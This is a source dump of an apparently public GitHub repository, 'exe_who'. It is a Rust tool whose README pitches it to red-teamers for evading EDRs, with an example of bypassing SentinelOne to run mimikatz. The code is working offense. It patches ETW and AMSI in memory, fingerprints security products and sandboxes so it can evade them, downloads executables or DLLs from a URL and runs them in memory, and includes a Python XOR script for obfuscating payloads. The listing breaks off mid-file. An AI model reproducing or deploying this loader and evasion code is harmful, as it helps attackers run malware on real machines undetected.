├── img ├── poc.png ├── sentinelone.png ├── havoc_native.png └── havoc_inmemory.png ├── launch_me_x64.exe.bin ├── src ├── decryptor.rs ├── error.rs ├── fetch.rs ├── main.rs ├── patcher.rs ├── detector.rs ├── user_struct.rs └── loader.rs ├── .gitignore ├── Cargo.toml ├── README.md └── scripts └── encryptor.py /img/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whokilleddb/exe_who/HEAD/img/poc.png -------------------------------------------------------------------------------- /img/sentinelone.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whokilleddb/exe_who/HEAD/img/sentinelone.png -------------------------------------------------------------------------------- /img/havoc_native.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whokilleddb/exe_who/HEAD/img/havoc_native.png -------------------------------------------------------------------------------- /launch_me_x64.exe.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whokilleddb/exe_who/HEAD/launch_me_x64.exe.bin -------------------------------------------------------------------------------- /img/havoc_inmemory.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whokilleddb/exe_who/HEAD/img/havoc_inmemory.png -------------------------------------------------------------------------------- /src/decryptor.rs: -------------------------------------------------------------------------------- 1 | // Xor Decrypt incoming data stream 2 | 3 | pub fn decrypt_stream(buf: &mut Vec) { 4 | let key: Vec = vec![97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107]; //"abcdefghijk".as_bytes(); 5 | let mut i = 0; 6 | 7 | for x in buf.iter_mut() { 8 | *x = *x ^ key[i % key.len()]; 9 | i = i + 1; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | /target/ 4 | 5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 7 | Cargo.lock 8 | 9 | # These are backup files generated by rustfmt 10 | **/*.rs.bk 11 | 12 | # Any executables 13 | *.exe 14 | 15 | # Test files 16 | test* 17 | -------------------------------------------------------------------------------- /src/error.rs: -------------------------------------------------------------------------------- 1 | // Custom Error 2 | use std::fmt; 3 | 4 | // Structure to refer application errors 5 | pub struct AppError { 6 | pub description: String 7 | } 8 | 9 | // Print error message 10 | impl fmt::Display for AppError{ 11 | fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { 12 | write!(f, "{}", self.description) 13 | } 14 | } 15 | 16 | // Print error message in a different format 17 | impl fmt::Debug for AppError { 18 | fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { 19 | write!(f, "AppError (\n\tdescription: {}\n)", self.description) 20 | } 21 | } -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "exe_who" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | url = "2.3.1" 10 | memexec = "0.2" 11 | enigo = "0.0.14" 12 | ctrlc = "3.2.3" 13 | walkdir = "2.2.9" 14 | colored = "2.0.0" 15 | reqwest = { version = "0.11"} 16 | tokio = { version = "1", features = ["full"] } 17 | rust-crypto = "^0.2" 18 | 19 | [dependencies.windows] 20 | version = "0.43.0" 21 | features = [ 22 | "Win32_System_Memory", 23 | "Win32_System_LibraryLoader", 24 | "Win32_Foundation" 25 | ] 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Executables on Disk? _Preposterous!_ 2 | 3 | Saving executables to disk is like telling EDRs that _"Hey! Take a look at this thing I just fetched from the Internet!"_. No Red-Teamer wants that at the end of the day. That's why we are here to help! 4 | 5 | For example, [Havoc](https://github.com/HavocFramework/Havoc) native payloads get flagged by the defender pretty easy: 6 | ![](./img/havoc_native.png) 7 | 8 | However, you can run the same in-memory without spawnning a new process using the repository as: 9 | ![](./img/havoc_inmemory.png) 10 | 11 | Here in an example of the tool bypassing `SentinelOne` to run `mimikatz` 12 | ![](./img/sentinelone.png) 13 | 14 | # Compile and Build! 15 | Compiling is as easy as: 16 | ```bash 17 | C:\Users\User\Codes\exe_who> cargo build --release 18 | ``` 19 | ![No PEs](https://github.com/whokilleddb/exe_who/blob/main/img/poc.png?raw=true) 20 | 21 | 22 | 23 | # Current Features 24 | - Patch ETW 25 | - Patch AMSI 26 | - Sandbox Detection 27 | - User Activity Detection 28 | - Check for Sandbox Drivers 29 | - Check for Sleep Patching 30 | - Check Filename Hash 31 | - Check for EDR drivers 32 | - Fetch PEs and DLLs and run them in-memory 33 | -------------------------------------------------------------------------------- /scripts/encryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from os import wait 3 | import sys 4 | import argparse 5 | 6 | 7 | def encrypt_me(filename, keystr): 8 | new_filename = f"{filename}.bin" 9 | key = bytearray() 10 | key.extend(map(ord, keystr)) 11 | fileb = bytearray() 12 | sizef = 0 13 | xor_byte_array = bytearray() 14 | 15 | try: 16 | fileb = bytearray(open(filename, 'rb').read()) 17 | sizef = len(fileb) 18 | xor_byte_array = bytearray(sizef) 19 | 20 | except Exception as e: 21 | print(f"Exception occured as {e}", file=sys.stderr) 22 | return 23 | 24 | for i in range(sizef): 25 | xor_byte_array[i] = fileb[i] ^ key[i%len(keystr)] 26 | 27 | # Write Xor'd bytes to file 28 | try: 29 | open(new_filename, 'wb').write(xor_byte_array) 30 | except Exception as e: 31 | print(f"Exception occured as: {e}", file=sys.stderr) 32 | return 33 | 34 | print(f"Saved output to file: {new_filename}") 35 | 36 | 37 | def main(): 38 | parser = argparse.ArgumentParser(description="XOR Encrypt Your Files!") 39 | parser.add_argument('-f', '--file', required=True, help='File to Encrypt') 40 | parser.add_argument('-k', '--key', default='abcdefghijk', help='String to Xor with') 41 | options = parser.parse_args() 42 | encrypt_me(options.file, options.key) 43 | 44 | if __name__ == '__main__': 45 | main() 46 | -------------------------------------------------------------------------------- /src/fetch.rs: -------------------------------------------------------------------------------- 1 | use url::Url; 2 | use std::io::Write; 3 | use colored::Colorize; 4 | use crate::error::AppError; 5 | use reqwest::{self, header}; 6 | use std::io::{Error, ErrorKind}; 7 | 8 | 9 | 10 | // Get URL as user input 11 | pub fn fetch_url() -> Result { 12 | let mut url_str: String = String::new(); 13 | print!("[>] Enter {}('{}' to exit): ", "URL".green(), "quit".red()); 14 | 15 | // Flush stdout 16 | match std::io::stdout().flush() { 17 | Ok(v) => v, 18 | Err(_e) => { 19 | return Err(std::io::Error::new(std::io::ErrorKind::InvalidInput,"Failed to flush STDOUT!")); 20 | }, 21 | }; 22 | 23 | // Take input from command line 24 | match std::io::stdin().read_line(&mut url_str){ 25 | Ok(v) => v, 26 | Err(_e) => { 27 | return Err(Error::new(ErrorKind::InvalidInput,"Failed to readline!")); 28 | }, 29 | }; 30 | 31 | // Return URL string 32 | Ok(url_str.clone()) 33 | } 34 | 35 | 36 | // Fetch PE 37 | pub async fn fetch_pe(url: Url) -> Result, AppError> { 38 | let mut headers = header::HeaderMap::new(); 39 | headers.insert( 40 | header::USER_AGENT, 41 | header::HeaderValue::from_static("Mozilla/5.0....") 42 | ); 43 | 44 | let client = match reqwest::Client::builder().default_headers(headers).build(){ 45 | Ok(val) => val, 46 | Err(e) => { 47 | eprintln!("[i] Error occured as: {:?}", e); 48 | return Err( 49 | AppError{description: String::from("Failed to create Request Builder :(")} 50 | ); 51 | } 52 | }; 53 | 54 | let resp = match client.get(url.as_str()).send().await { 55 | Ok(val) => val, 56 | Err(e) => { 57 | eprintln!("[i] Error occured as: {:?}", e); 58 | return Err(AppError{description: String::from("Failed to download PE :(")}); 59 | } 60 | }; 61 | 62 | let pe_bytes = match resp.bytes().await { 63 | Ok(val) => val, 64 | Err(e) => { 65 | eprintln!("[!] Error occured at\t{:?}", e); 66 | return Err(AppError{description: String::from("Failed to fetch PE bytes :(")}); 67 | } 68 | }; 69 | 70 | let pe_bytes: Vec = pe_bytes.as_ref().to_vec(); 71 | let __print_val = format!("{}", pe_bytes.len()); 72 | println!("[i] PE Bytes fetched: {}", __print_val.purple()); 73 | 74 | Ok(pe_bytes) 75 | } -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use url::Url; 2 | use memexec; 3 | use colored::Colorize; 4 | use ctrlc; 5 | use memexec::peparser::PE; 6 | use memexec::peloader::def::DLL_PROCESS_ATTACH; 7 | 8 | mod patcher; 9 | mod error; 10 | mod detector; 11 | mod fetch; 12 | mod decryptor; 13 | 14 | #[tokio::main] 15 | async fn main(){ 16 | ctrlc::set_handler(move || { 17 | eprintln!("\n[i] Received {}!", "Ctrl+C".red()); 18 | std::process::exit(0); 19 | }).expect("[!] Error setting Ctrl-C handler"); 20 | 21 | println!("[>] {}? {}!", "Executables on Disk".italic().red(), "Ew".yellow()); 22 | println!("[i] Checking for popular {}", "EDRs".purple()); 23 | if detector::detect_edrs() { 24 | eprintln!("[!] EDRs {}", "detected!".red()); 25 | } 26 | else { 27 | println!("[i] {} detected!", "No External EDRs".cyan()); 28 | } 29 | 30 | // Patch ETW 31 | match patcher::patch_etw(){ 32 | Ok(_val) => { 33 | println!("[i] {} Patched!","ETW".yellow()); 34 | }, 35 | Err(e) => { 36 | let err_msg = format!("{}", e); 37 | eprintln!("[!] Failed to patch {}", "ETW".red()); 38 | eprintln!("[!] Error occured as {}", err_msg.red()); 39 | } 40 | }; 41 | 42 | // Patch AMSI 43 | match patcher::patch_amsi(){ 44 | Ok(_val) => { 45 | println!("[i] {} Patched!","AMSI".magenta()); 46 | }, 47 | Err(e) => { 48 | let err_msg = format!("{}", e); 49 | eprintln!("[!] Failed to patch {}", "AMSI".red()); 50 | eprintln!("[!] Error occured as {}", err_msg.red()); 51 | } 52 | }; 53 | 54 | if !detector::check_sandbox(){ 55 | std::process::exit(0); 56 | }; 57 | 58 | loop { 59 | let url_str = match fetch::fetch_url(){ 60 | Ok(_res) => _res, 61 | Err(e) => { 62 | let err = format!("{}", e); 63 | eprintln!("[!] Error occured as: {}", err.red()); 64 | continue; 65 | }, 66 | }; 67 | 68 | // Check if user wants to exit 69 | if url_str.clone().as_str().trim().eq_ignore_ascii_case("quit") || 70 | url_str.clone().as_str().trim().eq_ignore_ascii_case("exit") { 71 | break; 72 | } 73 | 74 | // Check for empty input 75 | if url_str.clone().as_str().trim().is_empty() { 76 | continue; 77 | } 78 | 79 | println!("[i] Fetching: {}", url_str.yellow()); 80 | let url: Url = match Url::parse(url_str.as_str()) { 81 | Ok(_u) => _u, 82 | Err(e) => { 83 | eprintln!("[-] Failed to parse URL string"); 84 | eprintln!("[-] Error: {}", e); 85 | continue; 86 | } 87 | }; 88 | 89 | // Fetch PE 90 | let mut pe_buf = match fetch::fetch_pe(url).await { 91 | Ok(_v) => _v, 92 | Err(e) => { 93 | let err = format!("{}",e); 94 | eprintln!("[!] Error occurred as: {}", err.red()); 95 | continue; 96 | } 97 | }; 98 | 99 | // Decrypt PE buffer 100 | // decryptor::decrypt_stream(&mut pe_buf); 101 | // println!("[i] Decrypted Buffer!"); 102 | 103 | // Load PE 104 | let pe_parse = match PE::new(&pe_buf){ 105 | Ok(val) => val, 106 | Err(e) => { 107 | eprintln!("[!] Invalid Data!"); 108 | std::process::exit(-1); 109 | } 110 | }; 111 | 112 | unsafe { 113 | if pe_parse.is_dll() { 114 | println!("[i] Running {}!", "DLL".green()); 115 | memexec::memexec_dll(&pe_buf, 0 as _, DLL_PROCESS_ATTACH, 0 as _).expect("[!] Failed to attach DLL"); 116 | } 117 | 118 | else { 119 | println!("[i] Running {}!", "PE".green()); 120 | memexec::memexec_exe(&pe_buf).expect("[!] Failed to run Exe"); 121 | } 122 | } 123 | } 124 | 125 | println!("[i] {}", "Bye".green()); 126 | } 127 | -------------------------------------------------------------------------------- /src/patcher.rs: -------------------------------------------------------------------------------- 1 | use core::ffi::c_void; 2 | use windows::core::PCSTR; 3 | use crate::error::AppError; 4 | use windows::Win32::Foundation::HINSTANCE; 5 | use windows::Win32::Foundation::GetLastError; 6 | use windows::Win32::System::Memory::VirtualProtect; 7 | use windows::Win32::System::LibraryLoader::LoadLibraryA; 8 | use windows::Win32::System::LibraryLoader::GetProcAddress; 9 | use windows::Win32::System::Memory::PAGE_EXECUTE_READWRITE; 10 | use windows::Win32::System::Memory::PAGE_PROTECTION_FLAGS; 11 | 12 | pub fn patch_etw()->Result<(), AppError> { 13 | // Get Event Consumer from: https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/ 14 | // Note: add the following line to the Consumer code: 15 | // #pragma comment (lib, "advapi32") 16 | 17 | // Get handle to ntdll 18 | let lplibfilename: PCSTR = PCSTR(b"ntdll.dll\0"[..].as_ptr() as *const u8); 19 | let hmodule: HINSTANCE = unsafe { 20 | match LoadLibraryA(lplibfilename) { 21 | Ok(val) => { 22 | if val.0 == 0 as isize { 23 | return Err(AppError{description: String::from("LoadLibraryA() returned an invalid handle")}); 24 | } 25 | val 26 | }, 27 | Err(_e) => { 28 | let err_msg = format!("LoadLibraryA() Function failed with error: {:?}", GetLastError()); 29 | return Err(AppError{description: err_msg}); 30 | } 31 | } 32 | }; 33 | 34 | // Get Address of EtwEventWrite() 35 | let lpprocname: PCSTR = PCSTR(b"EtwEventWrite\0"[..].as_ptr() as *const u8); 36 | let proc_address = unsafe { 37 | match GetProcAddress(hmodule, lpprocname) { 38 | Some(val) => val, 39 | None => { 40 | let err_msg = format!("GetProcAddress() Function failed with error: {:?}", GetLastError()); 41 | return Err(AppError{description: err_msg}); 42 | } 43 | } 44 | }; 45 | 46 | // Change Memory Permissions to enable writing one byte of data 47 | let oldprotect = 0; 48 | let addr_oldprotect: *const u8 = &oldprotect; 49 | let result = unsafe { 50 | VirtualProtect( 51 | proc_address as *const c_void, 52 | 1 as usize, 53 | PAGE_EXECUTE_READWRITE, 54 | addr_oldprotect as *mut PAGE_PROTECTION_FLAGS 55 | ).as_bool() 56 | }; 57 | 58 | if !result { 59 | unsafe { 60 | let err_msg = format!("VirtualProtect() failed with Errror: {:?}", GetLastError()); 61 | return Err(AppError{description: err_msg}); 62 | } 63 | } 64 | 65 | let ret_code: &[u8] = &[195]; 66 | // Copy ret code 67 | unsafe { 68 | let dst_ptr = proc_address as *mut u8; 69 | let src_ptr = ret_code.as_ptr() as *const u8; 70 | std::ptr::copy_nonoverlapping(src_ptr, dst_ptr, 1); 71 | } 72 | 73 | // Change back the permissions of the memory region 74 | let oldoldprotect = 0; 75 | let addr_oldoldprotect: *const u8 = &oldoldprotect; 76 | let result = unsafe { 77 | VirtualProtect( 78 | proc_address as *const c_void, 79 | 1 as usize, 80 | PAGE_PROTECTION_FLAGS(oldprotect.into()), 81 | addr_oldoldprotect as *mut PAGE_PROTECTION_FLAGS 82 | ).as_bool() 83 | }; 84 | 85 | if !result { 86 | unsafe { 87 | let err_msg = format!("VirtualProtect() failed with Errror: {:?}", GetLastError()); 88 | return Err(AppError{description: err_msg}); 89 | } 90 | } 91 | 92 | Ok(()) 93 | } 94 | 95 | pub fn patch_amsi()->Result<(), AppError> { 96 | // Rasta-Mouse's patch: https://rastamouse.me/memory-patching-amsi-bypass/ 97 | let bytes_to_write: &[u8] = &[0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]; 98 | 99 | // Get handle to ntdll 100 | let lplibfilename: PCSTR = PCSTR(b"amsi.dll\0"[..].as_ptr() as *const u8); 101 | let hmodule: HINSTANCE = unsafe { 102 | match LoadLibraryA(lplibfilename) { 103 | Ok(val) => { 104 | if val.0 == 0 as isize { 105 | return Err(AppError{description: String::from("LoadLibraryA() returned an invalid handle")}); 106 | } 107 | val 108 | }, 109 | Err(_e) => { 110 | let err_msg = format!("LoadLibraryA() Function failed with error: {:?}", GetLastError()); 111 | return Err(AppError{description: err_msg}); 112 | } 113 | } 114 | }; 115 | 116 | // Get Address of EtwEventWrite() 117 | let lpprocname: PCSTR = PCSTR(b"AmsiScanBuffer\0"[..].as_ptr() as *const u8); 118 | let proc_address = unsafe { 119 | match GetProcAddress(hmodule, lpprocname) { 120 | Some(val) => val, 121 | None => { 122 | let err_msg = format!("GetProcAddress() Function failed with error: {:?}", GetLastError()); 123 | return Err(AppError{description: err_msg}); 124 | } 125 | } 126 | }; 127 | 128 | // Change Memory Permissions to enable writing one byte of data 129 | let oldprotect = 0; 130 | let addr_oldprotect: *const u8 = &oldprotect; 131 | let result = unsafe { 132 | VirtualProtect( 133 | proc_address as *const c_void, 134 | 6 as usize, 135 | PAGE_EXECUTE_READWRITE, 136 | addr_oldprotect as *mut PAGE_PROTECTION_FLAGS 137 | ).as_bool() 138 | }; 139 | 140 | if !result { 141 | unsafe { 142 | let err_msg = format!("VirtualProtect() failed with Errror: {:?}", GetLastError()); 143 | return Err(AppError{description: err_msg}); 144 | } 145 | } 146 | 147 | // Copy ret code 148 | unsafe { 149 | let dst_ptr = proc_address as *mut u8; 150 | let src_ptr = bytes_to_write.as_ptr() as *const u8; 151 | std::ptr::copy_nonoverlapping(src_ptr, dst_ptr, 1); 152 | } 153 | 154 | // Change back the permissions of the memory region 155 | let oldoldprotect = 0; 156 | let addr_oldoldprotect: *const u8 = &oldoldprotect; 157 | let result = unsafe { 158 | VirtualProtect( 159 | proc_address as *const c_void, 160 | 6 as usize, 161 | PAGE_PROTECTION_FLAGS(oldprotect.into()), 162 | addr_oldoldprotect as *mut PAGE_PROTECTION_FLAGS 163 | ).as_bool() 164 | }; 165 | 166 | if !result { 167 | unsafe { 168 | let err_msg = format!("VirtualProtect() failed with Errror: {:?}", GetLastError()); 169 | return Err(AppError{description: err_msg}); 170 | } 171 | } 172 | 173 | Ok(()) 174 | } -------------------------------------------------------------------------------- /src/detector.rs: -------------------------------------------------------------------------------- 1 | use enigo::Enigo; 2 | use std::path::Path; 3 | use walkdir::WalkDir; 4 | use colored::Colorize; 5 | use std::time::Instant; 6 | use std::collections::HashMap; 7 | use crypto::md5::Md5; 8 | use crypto::sha2::Sha256; 9 | use crypto::sha1::Sha1; 10 | use crypto::digest::Digest; 11 | use std::env; 12 | use std::io::prelude::*; 13 | use std::fs::File; 14 | 15 | pub fn detect_edrs()->bool { 16 | let mut b_edr = false; 17 | let mut edrs = HashMap::new(); 18 | edrs.insert("atrsdfw.sys","Altiris Symantec"); 19 | edrs.insert("avgtpx86.sys","AVG Technologies"); 20 | edrs.insert("avgtpx64.sys","AVG Technologies"); 21 | edrs.insert("naswSP.sys","Avast"); 22 | edrs.insert("edrsensor.sys","BitDefender SRL"); 23 | edrs.insert("CarbonBlackK.sys","Carbon Black"); 24 | edrs.insert("parity.sys","Carbon Black"); 25 | edrs.insert("cbk7.sys","Carbon Black"); 26 | edrs.insert("cbstream","Cargon Black"); 27 | edrs.insert("csacentr.sys","Cisco"); 28 | edrs.insert("csaenh.sys","Cisco"); 29 | edrs.insert("csareg.sys","Cisco"); 30 | edrs.insert("csascr.sys","Cisco"); 31 | edrs.insert("csaav.sys","Cisco"); 32 | edrs.insert("csaam.sys","Cisco"); 33 | edrs.insert("rvsavd.sys","CJSC Returnil Software"); 34 | edrs.insert("cfrmd.sys","Comodo Security"); 35 | edrs.insert("cmdccav.sys","Comodo Security"); 36 | edrs.insert("cmdguard.sys","Comodo Security"); 37 | edrs.insert("CmdMnEfs.sys","Comodo Security"); 38 | edrs.insert("MyDLPMF.sys","Comodo Security"); 39 | edrs.insert("im.sys","CrowdStrike"); 40 | edrs.insert("csagent.sys","CrowdStrike"); 41 | edrs.insert("CybKernelTracker.sys","CyberArk Software"); 42 | edrs.insert("CRExecPrev.sys","Cybereason"); 43 | edrs.insert("CyOptics.sys","Cylance Inc."); 44 | edrs.insert("CyProtectDrv32.sys","Cylance Inc."); 45 | edrs.insert("CyProtectDrv64.sys","Cylance Inc."); 46 | edrs.insert("groundling32.sys","Dell Secureworks"); 47 | edrs.insert("groundling64.sys","Dell Secureworks"); 48 | edrs.insert("esensor.sys","Endgame"); 49 | edrs.insert("edevmon.sys","ESET"); 50 | edrs.insert("ehdrv.sys","ESET"); 51 | edrs.insert("FeKern.sys","FireEye"); 52 | edrs.insert("WFP_MRT.sys","FireEye"); 53 | edrs.insert("xfsgk.sys","F-Secure"); 54 | edrs.insert("fsatp.sys","F-Secure"); 55 | edrs.insert("fshs.sys","F-Secure"); 56 | edrs.insert("HexisFSMonitor.sys","Hexis Cyber Solutions"); 57 | edrs.insert("klifks.sys","Kaspersky"); 58 | edrs.insert("klifaa.sys","Kaspersky"); 59 | edrs.insert("Klifsm.sys","Kaspersky"); 60 | edrs.insert("mbamwatchdog.sys","Malwarebytes"); 61 | edrs.insert("mfeaskm.sys","McAfee"); 62 | edrs.insert("mfencfilter.sys","McAfee"); 63 | edrs.insert("PSINPROC.SYS","Panda Security"); 64 | edrs.insert("PSINFILE.SYS","Panda Security"); 65 | edrs.insert("amfsm.sys","Panda Security"); 66 | edrs.insert("amm8660.sys","Panda Security"); 67 | edrs.insert("amm6460.sys","Panda Security"); 68 | edrs.insert("eaw.sys","Raytheon Cyber Solutions"); 69 | edrs.insert("SAFE-Agent.sys","SAFE-Cyberdefense"); 70 | edrs.insert("SentinelMonitor.sys","SentinelOne"); 71 | edrs.insert("SAVOnAccess.sys","Sophos"); 72 | edrs.insert("savonaccess.sys","Sophos"); 73 | edrs.insert("sld.sys","Sophos"); 74 | edrs.insert("pgpwdefs.sys","Symantec"); 75 | edrs.insert("GEProtection.sys","Symantec"); 76 | edrs.insert("diflt.sys","Symantec"); 77 | edrs.insert("sysMon.sys","Symantec"); 78 | edrs.insert("ssrfsf.sys","Symantec"); 79 | edrs.insert("emxdrv2.sys","Symantec"); 80 | edrs.insert("reghook.sys","Symantec"); 81 | edrs.insert("spbbcdrv.sys","Symantec"); 82 | edrs.insert("bhdrvx86.sys","Symantec"); 83 | edrs.insert("bhdrvx64.sys","Symantec"); 84 | edrs.insert("SISIPSFileFilter.sys","Symantec"); 85 | edrs.insert("symevent.sys","Symantec"); 86 | edrs.insert("vxfsrep.sys","Symantec"); 87 | edrs.insert("VirtFile.sys","Symantec"); 88 | edrs.insert("SymAFR.sys","Symantec"); 89 | edrs.insert("symefasi.sys","Symantec"); 90 | edrs.insert("symefa.sys","Symantec"); 91 | edrs.insert("symefa64.sys","Symantec"); 92 | edrs.insert("SymHsm.sys","Symantec"); 93 | edrs.insert("evmf.sys","Symantec"); 94 | edrs.insert("GEFCMP.sys","Symantec"); 95 | edrs.insert("VFSEnc.sys","Symantec"); 96 | edrs.insert("pgpfs.sys","Symantec"); 97 | edrs.insert("fencry.sys","Symantec"); 98 | edrs.insert("symrg.sys","Symantec"); 99 | edrs.insert("ndgdmk.sys","Verdasys Inc"); 100 | edrs.insert("ssfmonm.sys","Webroot Software"); 101 | edrs.insert("dlpwpdfltr.sys","Trend Micro Software"); 102 | 103 | for entry in WalkDir::new("C:\\Windows\\System32\\drivers\\") 104 | .follow_links(true) 105 | .into_iter() 106 | .filter_map(|e| e.ok()) { 107 | let f_name = entry.file_name().to_string_lossy(); 108 | if edrs.contains_key(f_name.as_ref()) { 109 | b_edr = true; 110 | eprintln!("[!] Detected EDR: {}\r\n", edrs.get(f_name.as_ref()).unwrap().red()); 111 | } else if f_name.starts_with("EcatService") { 112 | b_edr = true; 113 | eprintln!("[!] Detected EDR: {}", "RSA NetWitness Endpoint\r\n".red()); 114 | } 115 | } 116 | 117 | b_edr 118 | } 119 | 120 | 121 | // Check for mouse pointer activity and sleep patching 122 | fn mouse_activity_sleep_patch()->bool { 123 | // Check initial location 124 | let initial_cursor_location: (i32, i32) = Enigo::mouse_location(); 125 | let ix = initial_cursor_location.0; 126 | let iy = initial_cursor_location.1; 127 | 128 | // Set sleep duration 129 | let duration = std::time::Duration::new(10,0); 130 | 131 | // Sleep for 10s 132 | let start = Instant::now(); 133 | std::thread::sleep(duration); 134 | let elapsed = start.elapsed(); 135 | 136 | // Check cursor final location 137 | let final_cursor_location: (i32, i32) = Enigo::mouse_location(); 138 | let fx = final_cursor_location.0; 139 | let fy = final_cursor_location.1; 140 | 141 | if ix == fx || iy == fy || (fy-iy) == (fx-ix) { 142 | return false; 143 | } 144 | 145 | let lower_limit = 9050 as u128; 146 | let upper_limit = 10050 as u128; 147 | let delta: u128 = elapsed.as_millis(); 148 | if delta < lower_limit || delta > upper_limit { 149 | return false; 150 | } 151 | 152 | true 153 | } 154 | 155 | 156 | // Check for Common files found in Sandboxes 157 | fn check_sandbox_files() -> bool { 158 | let sus_files: [& 'static str; 32] = [ "C:\\Windows\\System32\\drivers\\Vmmouse.sys", 159 | "C:\\Windows\\System32\\drivers\\vm3dgl.dll", "C:\\Windows\\System32\\drivers\\vmdum.dll", 160 | "C:\\Windows\\System32\\drivers\\vm3dver.dll", "C:\\Windows\\System32\\drivers\\vmtray.dll", 161 | "C:\\Windows\\System32\\drivers\\vmci.sys", "C:\\Windows\\System32\\drivers\\vmusbmouse.sys", 162 | "C:\\Windows\\System32\\drivers\\vmx_svga.sys", "C:\\Windows\\System32\\drivers\\vmxnet.sys", 163 | "C:\\Windows\\System32\\drivers\\VMToolsHook.dll", "C:\\Windows\\System32\\drivers\\vmhgfs.dll", 164 | "C:\\Windows\\System32\\drivers\\vmmousever.dll", "C:\\Windows\\System32\\drivers\\vmGuestLib.dll", 165 | "C:\\Windows\\System32\\drivers\\VmGuestLibJava.dll", "C:\\Windows\\System32\\drivers\\vmscsi.sys", 166 | "C:\\Windows\\System32\\drivers\\VBoxMouse.sys", "C:\\Windows\\System32\\drivers\\VBoxGuest.sys", 167 | "C:\\Windows\\System32\\drivers\\VBoxSF.sys", "C:\\Windows\\System32\\drivers\\VBoxVideo.sys", 168 | "C:\\Windows\\System32\\vboxdisp.dll", "C:\\Windows\\System32\\vboxhook.dll", 169 | "C:\\Windows\\System32\\vboxmrxnp.dll", "C:\\Windows\\System32\\vboxogl.dll", 170 | "C:\\Windows\\System32\\vboxoglarrayspu.dll", "C:\\Windows\\System32\\vboxoglcrutil.dll", 171 | "C:\\Windows\\System32\\vboxoglerrorspu.dll", "C:\\Windows\\System32\\vboxoglfeedbackspu.dll", 172 | "C:\\Windows\\System32\\vboxoglpackspu.dll", "C:\\Windows\\System32\\vboxoglpassthroughspu.dll", 173 | "C:\\Windows\\System32\\vboxservice.exe", "C:\\Windows\\System32\\vboxtray.exe", 174 | "C:\\Windows\\System32\\VBoxControl.exe"]; 175 | 176 | let mut count = 0; 177 | for path in sus_files.iter() { 178 | if Path::new(path).exists(){ 179 | println!("[!] Found {}", path.on_red()); 180 | count += 1; 181 | } 182 | } 183 | 184 | if count == 0 { 185 | return true; 186 | } 187 | false 188 | } 189 | 190 | 191 | // Check if Filename is the hash of the file 192 | fn check_filename_hash()->bool{ 193 | let mut md5 = Md5::new(); 194 | let mut sha256 = Sha256::new(); 195 | let mut sha1 = Sha1::new(); 196 | let mut buffer = Vec::new(); 197 | 198 | let path = match env::current_exe(){ 199 | Ok(_val) => _val, 200 | Err(_e) => { 201 | return false; 202 | } 203 | }; 204 | 205 | let mut f = match File::open(&path){ 206 | Ok(_val) => _val, 207 | Err(_e) => { 208 | return false; 209 | } 210 | }; 211 | 212 | match f.read_to_end(&mut buffer){ 213 | Ok(_val) => _val, 214 | Err(_e) => { 215 | return false; 216 | }, 217 | }; 218 | 219 | md5.input(&buffer); 220 | sha256.input(&buffer); 221 | sha1.input(&buffer); 222 | 223 | let md5_hash = md5.result_str(); 224 | let sha256_hash = sha256.result_str(); 225 | let sha1_hash = sha1.result_str(); 226 | let file_name = path.file_stem().expect("Failed to extact file name").to_string_lossy(); 227 | 228 | if md5_hash == file_name || sha256_hash == file_name || sha1_hash == file_name { 229 | return false; 230 | } else { 231 | return true; 232 | } 233 | } 234 | 235 | 236 | pub fn check_sandbox()->bool{ 237 | println!("[i] Checking {} & {}","Cursor Activity".cyan(), "Sleep Patching".magenta()); 238 | let mut flag = mouse_activity_sleep_patch() ; 239 | 240 | println!("[i] Checking for {}","Sandbox Files".red()); 241 | flag = flag & check_sandbox_files(); 242 | 243 | println!("[i] Checking for {}","Filename Hash".yellow()); 244 | flag = flag & check_filename_hash(); 245 | 246 | if !flag { 247 | eprintln!("[!] {}", "Sandbox Environment Suspected".red()); 248 | } 249 | 250 | flag 251 | } -------------------------------------------------------------------------------- /src/user_struct.rs: -------------------------------------------------------------------------------- 1 | #![allow(dead_code)] 2 | use crate::error::AppError; 3 | use windows::Win32::System::SystemServices::*; 4 | use windows::Win32::System::Diagnostics::Debug::*; 5 | 6 | pub struct PeHeaders { 7 | pub dos_hdr: IMAGE_DOS_HEADER, 8 | pub nt_hdr: IMAGE_NT_HEADERS64, 9 | pub section_hdr_arr: Vec, 10 | } 11 | 12 | impl PeHeaders { 13 | pub fn new() -> PeHeaders { 14 | let pe_hdr = PeHeaders { 15 | dos_hdr: IMAGE_DOS_HEADER::default(), 16 | nt_hdr: IMAGE_NT_HEADERS64::default(), 17 | section_hdr_arr: Vec::new(), 18 | }; 19 | pe_hdr 20 | } 21 | 22 | pub fn populate(&mut self, pe_buf: Vec) -> Result<(), AppError> { 23 | let max_nt_hdr_offset: usize = 1024; 24 | let nt_hdr_offset: usize; 25 | let pe_dos_hdr: IMAGE_DOS_HEADER; 26 | let pe_nt_hdr: IMAGE_NT_HEADERS64; 27 | let pe_file_hdr: IMAGE_FILE_HEADER; 28 | let size_of_optional_hdr: usize; 29 | let number_of_sections: usize; 30 | let mut pe_section_hdr_arr: Vec = Vec::new(); 31 | 32 | // Check if PE buffer is empty 33 | if pe_buf.is_empty() { 34 | return Err(AppError{description: String::from("PE Buffer Empty")}); 35 | } 36 | 37 | // Check if PE buffer reference is null 38 | if pe_buf.as_ptr().is_null(){ 39 